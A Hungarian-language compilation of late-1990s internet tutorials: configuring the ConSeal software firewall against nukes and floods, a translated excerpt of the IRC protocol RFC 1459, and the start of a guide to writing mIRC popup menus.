Ami megmaradt a szegény egyszerű felhasználónak, az még a tűzfalnál is kevesebbet ér - ez a szoftveres tűzfal. Fontos már az elején leszögezni, hogy ezek nem igazi tűzfalak: egy szoftveres tűzfal megvédhet például az operációs rendszert érintô támadásoktól - WinNuke, click, stb. - és esetleg a lassú ICMP floodtól (ami például egy modemrôl jön), nem ér semmit azonban egy rendes flooddal szemben, mivel a te gépeden fut, s így az adatokat mindenképp megkapod. A modemes felhasználók semmiképp nem tudnak kivédeni egy gyors ICMP floodot, ha a

134

Hackers’ Guide

szolgáltatójuk errôl nem gondoskodik (vagy ehelyett épp azt akadályozza meg, hogy elrejtse a felhasználó az IP-jét...).

A legelterjedtebb szoftveres tűzfal Windowsra a ConSeal (www.signal9.com). A tévhittel ellentétben attól, hogy valaki ezt telepíti, még nem érezheti biztonságban magát - ez nem egy varázsszer, ami ezentúl mindentôl megvéd minket -, ahhoz, hogy megfelelô pajzsot kapjunk, folyamatosan rendben kell tartani a konfigurációját, hogy az új támadások ellen is hatásosnak bizonyuljon.

A ConSeal tanítása nem komplikált feladat: ha az automatikus tanulást (ARL) alapbeállításán (on) nem állítunk, minden olyan esetben, amikor a beérkezett/kimenô packetre nem talál a ConSeal szabályt, megkérdezi tôlünk, hogy mit tegyen (Rules/All Network Devices/ARL/Checked), ill. a Rules/All Network Devices/ARL/Unchecked beállítás mellett azt is elérhetjük, hogy minden ismeretlen eredetű adatforgalmat engedélyezzen a késöbbiekre is (ez jól használható tanításra abban az esetben, ha biztosak vagyunk abban, hogy senki sem támad minket, amikor épp ez az opció van érvényben). Bármelyiket is használjuk (de különösen ha az utóbbit), egy-egy új szabály beállítása után érdemes a Rules/All Network Devices-ben "kézzel" megnézni azt, hogy esetleg pontosíthassunk rajta.

Az itt található táblázat a jelenleg érvényben lévô szabályokat tartalmazza. Érdemes rögtön megvizsgálni a második oszlopot - ha nem változtattunk az alapbeállításokon, itt megnézhetjük, hogy a ConSeal miket miért állított be alapnak. 'Block ICMP nukes and more.' - olvashatjuk az egyik sorban. Nézzük meg, miért azt csinálja az a sor, ami a leírásban szerepel! Ezt megtehetjük úgy is, hogy a táblázatot vizsgáljuk, de ha részletesebb információt szeretnénk, rákattinthatunk a jobb gombbal, s kiválaszthatjuk az Edit menüpontot.

új szabály megadásakor elôször annak leírását kell megadnunk. Az ICMP esetében itt a fenti szöveget, és egy kis kiegészítést olvashatunk, melybôl megtudhatjuk, hogy az ICMP Nuke segítségével mások lekapcsolhatnak minket különbözô servicek-rôl, mint pl. az IRC-rôl, ezért fontos ezt a szabály meghagyni. A következô oldalon az elsô két beállítás azt adja meg, hogy mirôl akarunk szabályt mondani - jelen esetben ez az ICMP/IP, s a következô sorból azt is megtudhatjuk, hogy mind a kimenô, mind a bejövô ICMP-ket vizsgálni fogjuk. A Priority - azaz fontosság - segítségével beállítható, hogy melyik szabályt tartjuk a legfontosabbnak. Jelen szabályunk prioritása 200, s a következô beállításnál láthatjuk, hogy block-olunk - ha tehát kivételt szeretnénk megadni a block-olás alól, annak 200-nál kisebb prioritást kell adnunk, hogy lefuthasson. A következô lap arról rendelkezik, hogy a fenti tiltás kire érvényes. A 255.255.255.255 azt jelenti, hogy mindenkire - ha csak egy felhasználót akarnánk megadni, akkor itt az ô ip címe állna, ha pedig pl. mindenkit, akinek az IP-je 123.22.12.-vel kezdôdik, akkor 123.22.12.255. A "Type" sorban az van megadva, hogy hányas típusú ICMP-ket tiltunk, jelen esetben az látszik, hogy mindet, hiszen nincs olyan ICMP, amelynek típusa ne esne bele a 0-255-ig terjedô számsorozatba. A letutolsó ablakban arról rendelkezünk, hogy mikor érvényes a szabály, és hogy miképp jelezze felénk a program, amennyiben valaki szabályellenes dolgot küld nekünk - az itteni beállítások értelemszerűek.

Ha megvizsgáljuk a szabálymegadásnál választható protokolokat, azt látjuk, hogy bizony a fentebb említett IGMP-t a tűzfal nem ismeri. Szerencsénkre ez nem jelenti azt, hogy az IGMP-s támadás kivédhetetlen lenne: a ConSeal minden ismeretlen

135

Hackers’ Guide

protokol által közvetített üzenetet block-ol, ha errôl a Rules\All Network Devices\Advanced menüpontban másképp nem rendelkezünk.

A fô kérdés már csak az, hogy mit érdemes még block-olni. Ha nem akarunk sokat veszôdni a beállításokkal, ráérünk várni velük addig, amíg a ConSeal nem jelez, hogy ismeretlen dolgot kapott - ha viszont paranoiásak vagyunk, rögtön az elején beállíthatunk minden általunk ismert dologra szabályokat. :) A Súgó Tárgymutatójában megtalálhatjuk az kedvelt szolgáltatásainkat, és segítséget kaphatunk ahhoz, hogy az adott szolgáltatás használatához milyen beállítások szükségesek. Az IRC alapvetôleg engedélyezve van az "Allow most Internet access (using TCP)." szabály keretein belül, de ha akarjuk, egy 100-nál kisebb prioritású szabállyal külön kezelhetjük az IRC-specifikus részeket. A Súgó szerint ehhez a 6660-6669 TCP portokra kell szabályt írni (szerintem a 7000 TCP-re is:), és az outbound-ot kell Allow-ra állítani (hacsak nem futtatunk mi is IRC servert, hiszen akkor az általa használt portokra az inbound-ot, azaz a bejövô kapcsolatokat kell engedélyezni). Beállíthatjuk azt is, hogy csak 1-1 IRC server IP-jére való csatlakozást engedélyezzünk, de igazán ennek semmilyen biztonsági jelentôsége nincs a kimenô kapcsolatok esetében (hacsaknem attól tartunk, hogy valaki egy trójai program segítségével más IRC hálózatra akar minket eltéríteni :). A ConSeal Súgó arra is kitér, hogy érdemes a beérkezô ICMP-ket block-olni - az alapbeállítás meghagyása esetében erre azonban nincs szükség. Helyette érdemes a socket firewall-ok, wingate-ek, bnc-k portjaira szabályt írni (esetleg csak 1-1 IP-re), persze csak amennyiben használunk ilyeneket.

A netes adatforgalmunk összetettebb mint gondolnánk - amíg a konfigurálásunk nincs teljesen készen, gyakran fogunk riasztásokat kapni, ezek azonban nem minden esetben jelentik azt, hogy valaki kifejezetten minket akar megtámadni. Az ismeretlen gépek leggyakrabban különbözô portjainkat akarják kinyitni/adatot küldeni rajta - az UDP 31337-et, ami a Back Orifice alapbeállításként használt portja, a TCP 1080-at, amely socket firewallt keres a gépünkön, de egyéb trójai programok, vagy FTP szerver keresése is mindennapos lehet életünkben. Ezeket többnyire IP-tartomány scannelô programmal szokták ellenôrizni, azaz minket csak azért vizsgált meg az azott illetô, mert a mi IP-nk is az adott, pl. 145.236.108.x-es tartományba esik. A másik variáció az, hogy valaki egy IRC-es csatornán lévô embereket scannel, vagy esetleg mindenkit, aki fellép a csatornára - ha erre gyanakszunk, csak adjuk ki a /dns [A firewall által megadott IP], majd a /WHO [a megkapott domain neves alak] parancsot, s ha az illetô tényleg velünk azonos csatornán van (vagy nem +i-s), megtudjuk, hogy ki is ô IRC-n. A csatorna operátorai a legtöbb esetben a többi munkát elvégzik...

ICMP csomagok érkezésekor a 0-ás típusú (echo, ping) verzió az, amely nem minden esetben támadásra utal - ha csak párat kapunk belôle, minden bizonnyal valaki tudni akarta, hogy élünk-e még (talán azért, mert nem válaszoltunk IRC-n, és a CTCP-k is ignore-olva vannak (ill. lag van), vagy esetleg csak ellenôrizte valaki, hogy hatásos volt-e az elöbbi támadása :).

A tűzfal jelzései nem minden esetben felelnek meg a valóságnak - azt ugyan megkapjuk, hogy valaki küldött valamit, s kiír egy IP-t is, ám ha a támadó, vagy a támadó programja elég ügyes - ill. az adott támadásnál ez lehetséges -, nem az ô IP-jét látjuk a log-ban, hanem azt, amit ô feladónak megadott. Ha tehát egy barátunk

136

Hackers’ Guide

hirtelen ICMP floodolni kezd minket, de tagadja az egészet, nem biztos, hogy hazudik - lehet, hogy csak valaki rá akarja kenni...

A szoftveres tűzfal nem csak megvédhet minket, veszélyforrás is lehet - a regébbei ConSeal-eket például ki lehetett lôni egy erre specializálódott program segítségével, mint ahogy számos más védelmi programnak is létezik ellenszere. A jelenleg újnak számító verzió stabilitása mindeddig nem lett kétségbe vonva, így bárki nyugodtan használhatja - legalábbis 30 napig, mivel utána már nem ingyenes... :) Soha nem szabad azonban figyelmen kívül hagyni, hogy a ConSeal csak egy szotfveres tűzfal: megvéd a legtöbb elterjedt trójai programokkal való visszaélésektôl (nem attól, hogy megfertôzôdjünk, csak attól, hogy használni tudja azt a támadó), megment minket sok ismert és ismeretlen DoS támadástól, és jelzi nekünk, ha valaki támadni akar - ez viszont nem jelenti azt, hogy senki nem tud minket akaratunk ellenére leszedni a hálózatról. A legjobb megoldás az, ha sikerül bebujnunk mellette pl. egy socket firewall (http://209.67.19.98/lycos_webmaster) mögé is - s bár ez sem véd meg mindentôl, még mindig biztonságosabb ét tűz mögött...

Video (Varga Gábor) [email protected] ************************************************************************************************ RFC-1459 Ez a dokumentum az RFC1459 fordítása. Vedd figyelembe, hogy az eredeti szöveg hosszúsága miatt bizonyos szükségtelen vagy ismétlodo részeket eltávolítottam vagy lerövidítettem. Emiatt ne reklamálj, mert semmilyen fontos információ nem maradt ki belole. Kiegészítéseket elfogadok a fenti címre. 1. Bevezetés

Az IRC protokoll szöveges alapú protokoll, akármilyen socket-alapú program csatlakozhat a szerverhez. Megtervezése több évig tartott, és szövegalapú telekonferenciára tervezték. Ez a dokumentum leírja a jelenlegi IRC protokollt. Az IRC protokollt a TCP/IP hálózati protokollt használó rendszerekre fejlesztették ki, bár nincs ezekre lekorlátozva.

1.1 Szerverek

A szerverek képezik az alapját az IRC-nek, a klienseknek kapcsolódási pontot biztosít, hogy egymással beszélni tudjanak, valamint a szerverek egymással is kapcsolatban állnak, így IRC hálózatot képezve. Az IRC szerverek csak fa-struktúrájú hálózatban kapcsolódhatnak egymáshoz, ahol is logikailag minden szerver központi csomópontnak látja magát.

137

Hackers’ Guide

[ Server 15 ] [ Server 13 ] [ Server 14] / \ / / \ / [ Server 11 ] ------ [ Server 1 ] [ Server 12] / \ / / \ / [ Server 2 ] [ Server 3 ] / \ \ / \ \ [ Server 4 ] [ Server 5 ] [ Server 6 ] / | \ / / | \ / / | \____ / / | \ / [ Server 7 ] [ Server 8 ] [ Server 9 ] [ Server 10 ] : [ etc. ] : [ Fig. 1. Az IRC szerverhálózat felépítése ] 1.2 Kliensek

A kliens bármi lehet, ami egy szerverhez csatlakozik, és nem egy másik szerver. Minden klienset megkülönböztetünk a hálózaton egy egyedi azonosítóval, amit nicknévnek nevezünk (nickname). A nicknév maximális hossza 9 karakter. Lásd a protokoll nyelvi szabályait a használható karakterekhez. A nicknéven kívül minden szervernek tudna kell minden kliensrol a következoket: a kliens hostnevét (IP címét), a kliens felhasználói nevét a hoston, és az IRCszerver nevét, amelyhez a kliens csatlakozik.

1.2.1 Operátorok

Ahhoz, hogy elfogadható rend legyen az IRC hálózatban, a kliensek egy speciális osztálya (az operátorok) általános karbantartási funkciókat végezhet a hálózaton. Az operátorok hatalma "veszélyes"-nek minosített, de mindenképpen szükség van rájuk. Különbözo alapveto hálózati tevékenységeket végezhetnek, mint például szerverek szét- és összekapcsolását.

Az operátoroknak joguk van bárkit eltávolítani az IRC hálózatból "erovel", tehát megszakíthatják a kapcsolatot bármely kliens és szerver között. Ez azért kell, mert a nem rendeltetésszeru használat destruktív és bosszantó is egyben.

1.3 Csatornák

A csatorna egy névvel rendelkezo csoportja egy vagy több kliensnek, amelyek mind megkapják a csatorna nevére címzett üzeneteket. A csatorna akkor jön létre, amikor az elso kliens csatlakozik hozzá, és akkor semmisül meg amikor az utolsó kliens elhagyja. Amíg a csatorna létezik, bármelyik kliens tud hivatkozni rá a csatornanévvel.

A csatornanevek stringek ("&" vagy "#" karakterrel kezdodnek), maximális hosszuk 200 karakter. Azon túl, hogy az elso karakter vagy "&", vagy "#", a csatornanév nem tartalmazhat szóközt (" "), ^G karaktert (ASCII 7) és vesszot ("," mert ez a felsorolás-elválasztó karakter a protokollban).

A protokoll kétféle csatornát enged meg. Az elso egy elosztott csatorna, amely minden szerveren látható, amely csatlakoztatva van a hálózathoz. Ezek a csatornák "#" karakterrel kezdodnek és errol lehet oket felismerni. A másik típus csak azon a szerveren létezik, ahol létrehozták, és csak azok a kliensek tudnak hozzá csatlakozni, amelyek szintén azon a szerveren vannak. Ezek "&" karakterrel kezdodnek. Mindegyik csatornához sokféle csatornamód tartozik (channel mode), amelyek a csatorna viselkedését befolyásolják.

138

Hackers’ Guide

Ahhoz, hogy egy új csatornát hozzon létre egy kliens, vagy csatlakozzon egy már meglévohöz, a JOIN parancsot kell kiadnia. Ha a csatorna nem létezett a parancs kiadása elott, akkor a csatorna létrejön és a létrehozó kliens lesz a csatornaoperátor. Ha a csatorna már létezett, akkor a csatornamód-beállítástól függ, hogy a kliens csatlakozhat-e a csatornához. Például ha a csatorna invite-only, (+i), akkor csak akkor tudsz csatlakozni, ha meghívnak a csatornára. A protokoll része, hogy egy kliens sok csatornához csatlakozhat egyszerre, de javasolt tíz (10) csatornára korlátozni ezt, mert ez megfelelo a tapasztalt és kezdo felhasználóknak is egyaránt.

Ha az IRC hálózat szétszakad, mert két szerver között megszunik a kapcsolat, akkor a csatorna mindkét oldalán csak azok a kliensek maradnak, amelyek a megfelelo oldali-szerverekhez csatlakoztak. Amikor a szerverek újra összekapcsolódnak, bejelentik egymásnak, hogy kik vannak az egyes csatornákon, valamint a csatornamódokat.

1.3.1 Csatornaoperátorok

A csatornaoperátor ("chop" vagy "chanop") egy adott csatornán a csatorna "tulajdonosának" tekintheto. A csatornaoperátorok bizonyos jogokkal vannak felruházva, amelyek lehetové teszik számukra, hogy ellenorizzék és rendet tegyenek a csatornájukon. Mint a csatorna tulajdonosai, nem szükséges megindokolniuk a cselekedeteiket.

Az operátorok a következo parancsokat adhatják ki:

KICK - egy kliens kirúgása a csatornáról MODE - a csatornamód megváltoztatása INVITE - egy kliens meghívása egy invite-only csatornára (+i mód) TOPIC - a csatorna címének (nem nevének) megváltoztatása egy +t módú csatorna esetében

A csatornaoperátorokat egy "@" jel azonosítja a nevük mellett, pl. a NAMES, WHO és WHOIS parancsokra adott válaszok esetében.

2. Az IRC specifikációja

2.1 Áttekintés

Az alább leírt protokollt mind szerver-szerver és szerver-kliens kapcsolatok esetében használjuk. A kliens kapcsolatok esetében több megszorítás van (mert "nem megbízható"-nak tekintjük).

2.2 Karakterkódok

Nincs meghatározott karakterkészlet. A protokoll nyolc (8) bites karaktereket használ (=1 oktet vagy byte). Minden üzenet akárhány oktetbol állhat, de néhány oktet-értéket nem lehet használni, mert a protokollban vezérlokarakterként muködnek.Habár bármilyen 8-bites karakterkészletet használhatunk, a vezérlokarakterek és kulcsszavak úgy vannak kialakítva, hogy a legcélszerubb USASCII terminált és telnet-kapcsolatot használni. Az IRC skandináv eredetébol kifolyólag a "{", "}" és "|" karakterek a "[", "]" és "\" kisbetus megfeleloi. Ez fontos, amikor két nicknév egyezoségét vizsgáljuk.

2.3 Üzenetek

139

Hackers’ Guide

A szerverek és a kliensek egymásnak üzeneteket küldenek, amelyekre válasz érkezhet. Ha az üzenet egy érvényes parancsot tartalmaz, akkor a kliensnek meghatározott választ kell kapnia, de nem ajánlott a végtelenségig várnia a válaszra;a kliens-szerver és szerver-szerver kommunikáció alapvetoen aszinkron.

Minden IRC üzenet maximum három részbol áll: az elotagból (prefix - ez opcionális), a parancsból és a parancs paramétereibol (ezekbol max. 15 lehet). Az elotag, a parancs és minden paraméter egymástól egy (vagy több) ASCII szóköz karakterrel van elválasztva (hexa 20).

Az elotag jelenlétét egyetlen ASCII kettospont jelzi (":", hexa 3B), amely az üzenetnek az elso karaktere. Nem szabad fehér karakternek lennie a kettospont és az elotag között. (Fehér karaktereknek nevezzük a szóközt, tabulátort, entert stb.; angolul whitespace.) Az elotagot a szerverek arra használják, hogy jelezzék az üzenet eredeti keletkezési helyét. Ha az elotag hiányzik az üzenetbol, ezt úgy kell értelmezni, hogy az üzenet ott keletkezett, ahonnan kaptuk (pl. a szomszéd szervertol). A kliensek nem használhatnak elotagot üzenetküldéskor; az egyetlen megengedheto elotag a klienshez regisztrált nicknév. Ha az elotag által jelzett forrás nem található a szerver belso adatbázisában, vagy a forrás más kapcsolaton található, mint ahonnan az üzenet érkezett, a szerver csendesen figyelmen kívül hagyja az üzenetet.

A parancs vagy egy érvényes IRC parancs, vagy egy három (3) számjegybol álló ASCII szöveg.

Az IRC üzenetek mindig karaktersorozatok, amelyeket egy CR-LF pár zár le (Carriage Return - Line Feed, vagyis kocsivissza - soremelés), és ezek az üzenetek nem érhetik el az 512 karakteres hosszúságot, beleértve a lezáró CR-LF-et is. Ezáltal maximum 510 karakter áll rendelkezésére egy parancsnak és a paramétereinek. Nincs megszorítás a folytatódó üzenetsorokra (lásd a 7. részben a jelenlegi implementációkat).

2.3.1 Üzenetformátum "pszeudo" BNF-ben

A protokollüzeneteket fel kell ismerni a folyamatos oktetfolyamban. A jelenlegi megoldás az, hogy két karaktert, a CR-t és LF-et üzenetelválasztó karaktereknek jelölünk ki. Az üres üzeneteket csendesen figyelmen kívül kell hagyni, és ezáltal az egymás után következo CR-LFek kezelése probléma nélkül zajlik. A felismert üzenetet részekre tagoljuk: <elotag>, <parancs> és egy sor paraméter vagy <középso> vagy <lezáró> részként.

Ennek BNF reprezentációja: <üzenet> ::= [':' <elotag> <SZÓKÖZ> ] <parancs> <paraméterek> <crlf><elotag> ::= <szervernév> | <nick> [ '!' <user> ] [ '@' <host> ]<parancs> ::= <betu> { <betu> } | <szám> <szám> <szám><SZÓKÖZ> ::= ' ' { ' ' }<paraméterek> ::= <SZÓKÖZ> [ ':' <lezáró> | <középso> <paraméterek> ]<középso> ::= <Akármilyen *nem üres* folyama az okteteknek, nem tartalmazhat SZÓKÖZ-t vagy NUL-t vagy CR-t vagy LF-et, az elso karakter nem lehet ':'><lezáró> ::= <Akármilyen, valószínuleg *üres* oktetfolyam,nem tartalmazhat NUL-t vagy CR-t vagy LF-et><crlf> ::= CR LF MEGJEGYZÉS:

140

Hackers’ Guide

1.) A <SZÓKÖZ> csak SZÓKÖZ karakter(ek)bol áll (hexa 20). Vegyük észre, hogy a TABULÁTOR és az összes vezérlokarakter NEM-FEHÉR-KARAKTER.

2.) Miután az összes paramétert felismertük, minden paraméter egyenlo rangú, akár <középso> akár <lezáró>. A <lezáró> csak egy szintaktikus trükk, hogy lehetové tegyük, hogy paraméter is tartalmazhasson SZÓKÖZ-t.

3.) Az, hogy a CR és LF nem jelenhet meg a paraméterekben, csak egy mellékhatása az üzenetek darabolásának. Ez késobb változhat.

4.) A NUL karakter nem játszik szerepet az üzenetek darabolásában, és végül is tartalmazhatnák a paraméterek, de ez extra problémákat okozna a normál C sztringkezelésében. Ezért a NUL tiltott az üzenetekben.

5.) Az utolsó paraméternek egy üres stringnek kell lennie.

- A kiterjesztett elotagot (['!' <user> ] ['@' <host> ] nem szabad a szerver-szerver kommunikációban használni, és csak a szerver-kliens üzenetekben használatos, hogy ellássuk a klienst használható információval az üzenet forrásáról.

Sok protokollüzenet további szemantikát és szintaktikát határoz meg a paraméterstringekre, attól függoen, hogy a paraméterlistában hol helyezkednek el. Például sok szerverparancs feltételezi, hogy az elso paraméterek a parancs után a címzettek listája, amely a következoképpen írható le: <címzett> ::= <to> [ "," <címzett> ]<to> ::= <csatorna> | <user> '@' <szervernév> | <nick> | <mask><csatorna> ::= ('#' | '&') <chstring> <szervernév> ::= <host><host> ::= lásd RFC 952 [DNS:4] az engedélyezett hostnevekrol<nick> ::= <betu> { <betu> | <szám> | <speciális> }<mask> ::= ('#' | '$') <chstring><chstring> ::= <akármilyen 8 bites karakter a SZÓKÖZ, BELL, NUL, CR, LF ésvesszo (',') kivételével> További paraméterszintaxisok: <user> ::= <nemfehér> { <nemfehér> }<betu> ::= 'a' ... 'z' | 'A' ... 'Z'<szám> ::= '0' ... '9'<speciális> ::= '-' | '[' | ']' | '\' | '`' | '^' | '{' | '}'<nemfehér> ::= <akármilyen 8 bites karakter a SZÓKÖZ (0x20), NUL (0x0), CR(0xd), és LF (0xa) kivételével>

2.4 Numerikus válaszok

A szervernek küldött üzenetek többsége valamilyen választ ad vissza. A leggyakoribb válasz a numerikus, amely mind hibajelzésre és normál válaszra is használatos. A numerikus válasz egyetlen üzenetként küldendo, és a küldo elotagjából, egy három számjegyes számból, és a címzettbol áll. Kliens nem küldhet numerikus választ; minden ilyen üzenetet a szerver csendesen eldob. Egyébként a numerikus válasz minden tekintetben olyan, mint egy normál üzenet, azt kivéve, hogy az üzenet törzse három számjegybol áll és nem karakterlánc. A különbözo lehetséges numerikus válaszokat lásd majd a 6. részben.

3. IRC koncepció

Ez a rész leírja az IRC protokoll mögött álló elképzeléseket, és hogy a jelenlegi implementációk hogyan továbbítják az üzenetek különbözo változatait.

141

Hackers’ Guide

1--\ A D---4 2--/ \ / B----C / \ 3 E Szerverek: A, B, C, D, E Kliensek: 1, 2, 3, 4 [ Fig. 2. Egy egyszeru IRC hálózat ]

3.1 Egy-egy kommunikáció

Az egy-az-egyhez kommunikáció általában csak kliensek között használatos, mert a szerver-szerver forgalom nagy része nem úgy keletkezik, hogy a szerverek csak egymáshoz beszélnek. A biztonságos kliens-kliens kommunikáció biztosításához szükséges, hogy minden szerver üzenetet tudjon küldeni a fa-struktúrában a megfelelo irányba, annak érdekében, hogy minden klienset elérhessen. Az üzenet útja, amelyen végighalad, mindig a legrövidebb út a hálózatban.

A következo példák mind a fenti 2. ábrára hivatkoznak.

1. példa: Az 1. és 2. kliens közötti üzeneteket csak az A szerver látja, tehát az 1-tol jövoket egybol 2-nek továbbítja. 2. péda: Az 1. és 3. kliens közötti üzeneteket A és B szerver is látja, ezek vesznek részt a továbbításban. A többi kliens és szerver nem láthatja az üzeneteket. 3. példa: A 2. és 4. kliens közötti üzenetekben A, B, C és D szerverek érintettek. A többi kliens és szervernem láthatja az üzenetet.

3.2 Egy-sok kapcsolat

Az IRC fo célja, hogy egy fórumot biztosítson, amely egyszeru és hatékony konferenciázást tesz lehetové (egy-sok beszélgetést). Az IRC sokféle lehetoséget biztosít erre, mindegyiket más célokra.

3.2.1 Lista

A legkevésbé hatékony módszer az egy-sok beszélgetés biztosítására, hogy a kliensek a kliensek egy "listájához" beszélgetnek. Ez majdnem magától értetodik: a kliens ad egy listát a címzettekrol, akiknek továbbítani kell az üzenetet, és a szerver az üzenet egy-egy példányát minden kliensnek eljuttatja a listában. Ez nem annyira hatékony, mint a csoportok, mert a címzettlista feldarabolódik és az üzenet anélkül

142

Hackers’ Guide

jut el mindenkihez, hogy ellenorizve lenne, hogy nem kapja-e valaki több példányban ugyanazt az üzenetet.

3.2.2 Csoport (csatorna)

Az IRC-n a csatornák üzenetszórásos modellként muködnek; létezésük dinamikus (létrejönnek és eltunnek, ahogy az emberek csatlakoznak és elhagyják a csatornákat), és a csatornán folyó beszélgetés csak azokhoz a szerverekhez jut el, amelyek kiszolgálnak olyan klienseket, amelyek az adott csatornán vannak. Ha több kliens is van a szerveren ugyanazon a csatornán, akkor az üzenetet csak egyszer kell ennek a szervernek eljuttatni, és utána ez küldi tovább minden kliensnek az adott csatornán. Ez a tevékenység minden kliens-szerver kombinációban megismétlodik, egész addig, amíg az eredeti üzenet a csatorna minden klienséhez eljutott.

A következo példák mind a 2. ábrára hivatkoznak.

4. példa: Akármely csatorna, amelyen csak egy kliens van. Az üzenetek az egyetlen klienstol a szerveréhez kerülnek, és utána sehová nem továbbítódnak. 5. példa: 2 kliens a csatornán. Minden üzenet végighalad egy útvonalon, mintha privát üzenetek lennének a két kliens között a csatornán kívül. 6. példa: Az 1. 2. és 3. számú kliens egy csatornán. Minden üzenet a csatornára mindegyik kliensnek és csak azok a szervereknek küldendo el, amelyek érintve vannak az üzenet által, mint a privát üzenetek esetében. Ha az 1. kliens küld egy üzenetet, akkor az visszajut a 2. klienshez és utána a B szerveren keresztül a 3. klienshez.

3.2.3 Host/szerver maszknak

Az IRC operátoroknak biztosított ez a lehetoség, hogy sok kliensnek tudjanak eljuttatni üzeneteket. Ezek az üzenetek azokhoz a kliensekhez jutnak el, amelyeknek hostja vagy szervere egyezik a maszkkal. Az üzeneteket ugyanúgy kell továbbítani, mint a csatornák esetében.

3.3 Egy-mindenki

Az egy-mindenki üzenetek minden kliensnek, és/vagy minden szervernek szólnak. Egy nagy hálózaton sok felhasználóval és szerverrel egyetlen üzenet óriási adatforgalmat eredményez azáltal, hogy minden klienshez el juttatni. Néhány üzenet esetében nincs más út, mint hogy minden szervernek el kell küldeni, hogy az állapotinformációk, amelyeket minden szerver nyilvántart, minden szerveren megegyezzenek.

3.3.1 Kliens-kliens

Nincs olyan üzenet, amely egy klienstol származna, és minden klienshez el kellene küldeni.

3.3.2 Kliens-szerver

Sok parancs, amely azzal jár, hogy állapotinformációkat kell megváltoztatni (mint pl. csatornatagság, csatornamód, nicknév stb.) minden szervernek elküldendo, és ezen a kliens nem tud változtatni.

3.3.3 Szerver-szerver

143

Hackers’ Guide

A szerverek közötti üzenetek jelentos része mindegyik szerverhez eljut, de erre csak akkor van szükség, ha az üzenet klienset, csatornát vagy szervert érint. Mivel ezek az IRC alapjai, majdnem az összes üzenet a szerverek között mindegyik szerverhez eljut. ************************************************************************************************ A mi mIRC-ünk... I. rész: Popups

Rengeteg mIRC script látott már napvilágot, mind arra esküdve, hogy ô a legjobb, ezek legtöbbje azonban abba a hibába esik, hogy egyszerre akar mindenkinek megfelelni. Az egyik legelterjedtebb script, a ShowDown, szintén sokoldalúságának köszönheti sikerét: rengeteg kliens-gyilkoló és egyéb harci eszközt ad azoknak, akik háborúzni akarnak - ugyanakkor hatalmas színes grafikák tömtelegével lepi meg a szelídebb szívû felhasználókat. Ahhoz, hogy valakinek OP-ot adhassunk almenükben kell szaladgálnunk - míg a jóval kevesebbet használt opciók szintén hasonló almenükben találhatóak meg. Félig tökéletes scriptet kap tehát mindenki, ám igazán egyénre szabott menü- és parancsrendszert egyik fél sem kap.

Több érv is szól a már kész scriptek használata mellett - köztük legfôképpen az, hogy valaki más már megírta ôket, s nem kell idôt fordítani elkészítésükre -, de ha sokat IRC-zünk, érdemes megvizsgálni az ellenérveket is, melyek egy részét fentebb is olvashattad. A beépített önreklámozás mellett ezen scriptek másik nagy hátránya, hogy nem ismerjük a kódjukat, azaz elôszeretettel tartalmazhatnak akár különbféle rejtett kiskapukat - mint ahogyan azt nem egy teszi is.

A mIRC programnyelve könnyû, ennek ellenére kezdetben még akadhatnak problémák egy-egy ötlet kivitelezésével, ha másért nem, hát a megfelelô parancsok ismeretének hiányában. Sorozatunkban megpróbálunk átsegíteni ezeken a kisebb akadályokon - persze ehhez a Te figyelmedre s logikádra is szükség lesz.

Egy mIRC script három nagy részre bontható, melyek többnyire külön fileokban is találhatóak. A leggyakrabban használt rész a "remote", melyben azt szabhatjuk meg, hogy mIRCünk milyen ingerre miképpen reagáljon. Jelenlegi beállításainkat a "Tools/Remote..." menüpont alatt találjuk. A másik nagy rész az "aliases", ahol gyakran használt algoritmusokat írhatunk le, hogy aztán egyetlen parancs vagy gombnyomás segítségével bármikor hivatkozhassunk rájuk. úgy is mondhatjuk, hogy új parancsokat készíthetünk vagy a régieket definiálhatjuk át itt. Mi a harmadik résszel, a "Popups"-al fogunk foglalkozni elôször, amely a feljövô menürendszert hivatott észben tartani. Ennek a kódját a "Tools/Popups..." menüpont alatt találjuk.

A menü szerkezeti felépítése már elsô látásra is egyértelmû: a sor elején a menüben megjelenô szöveg szerepel, melyet egy ":" választ el a parancsoktól, amikre hivatkozik. Ha több mint egy parancs áll a ":" után, akkor azok "{" "}" jelek közé

144

Hackers’ Guide

kerültek - innen tudja a mIRC, hogy egybe tartoznak. Három kiemelt szerepû karakter van, a "-", amely egy vízszintes vonalat húz a két menüpont közé, a "." ami közvetlenül a sor elején van, s azt eredményezi, hogy az adott opció a felette lévô elsô "." nélküli menüpont almenüje lesz, és a "&" jel, amely gyorsbillentyüt rendel az utána álló betüt használva az opcióhoz (azaz, ha valaki a menük megjelenése után megnyomja az adott billentyüt, akkor az egyenértékûnek számít azzal, mintha erre a menüpontra kattintott volna). A "."-ok halmozásával természetesen további almenüket is készíthetünk.

Hogy egy kicsit közérthetôbb legyen a fenti magyarázat, nézzünk mindjárt egy példát! A Tribe nevû scriptben láttam elôször azt a kiválló ötletet, hogy az OP-adás és elvevés ugyanazzal a menüponttal történik: ha a kijelölt illetô @-os volt, akkor elveszi tôle, ellenkezô esetben ad neki @-ot. Ahhoz, hogy ezt megírjuk, ismernünk kell néhány függvényt és algoritmus elemet. Ez elsô hallásra vészesen hangozhat, ha még semmilyen nyelven nem programoztál, de mint az mindjárt kiderül, nincs benne semmi nehézség. Mindenekelött ki kell választanunk, hogy ez a parancs az oldalsó nicklista menüjében legyen - ehhez a Popups menü ablakán belül kattintsunk a "View/Nickname list"-re!

A mIRC-ben a függvények "$" jellel kezdôdnek, s esetleges paramétereik zárójelben vannak közvetlenül nevük után. A menünkhöz most csak háromra lesz szükségünk. Ezek nevei, s visszatérési értékei: $me - a nicked adja vissza $chan - az aktuális csatorna nevét kapod meg $snick(csatinév, sorszám) - az adott csatornán a <SORSZ&AACUTE;M>. kijelölt nicket adja vissza

Az algorimuselemek közül most csak az eldöntést fogjuk használni, mely hasonlóan a legtöbb nyelvhez itt is az angol "ha" szócskának felel meg: IF (feltétel) { parancs arra az esetre ha a feltétel igaz } ELSEIF (feltétel) { parancs arra az esetre, ha az elôzô nem igaz, de az új feltétel igen (elhagyható) } ELSE { parancs arra, az esetre ha a fentiek egyike sem nem igaz (elhagyható) }

Használunk egy operátort is, az "isop"-ot, amely akkor ad igaz értéket, ha az elötte álló nick OP-os a mögötte lévô csatornán.

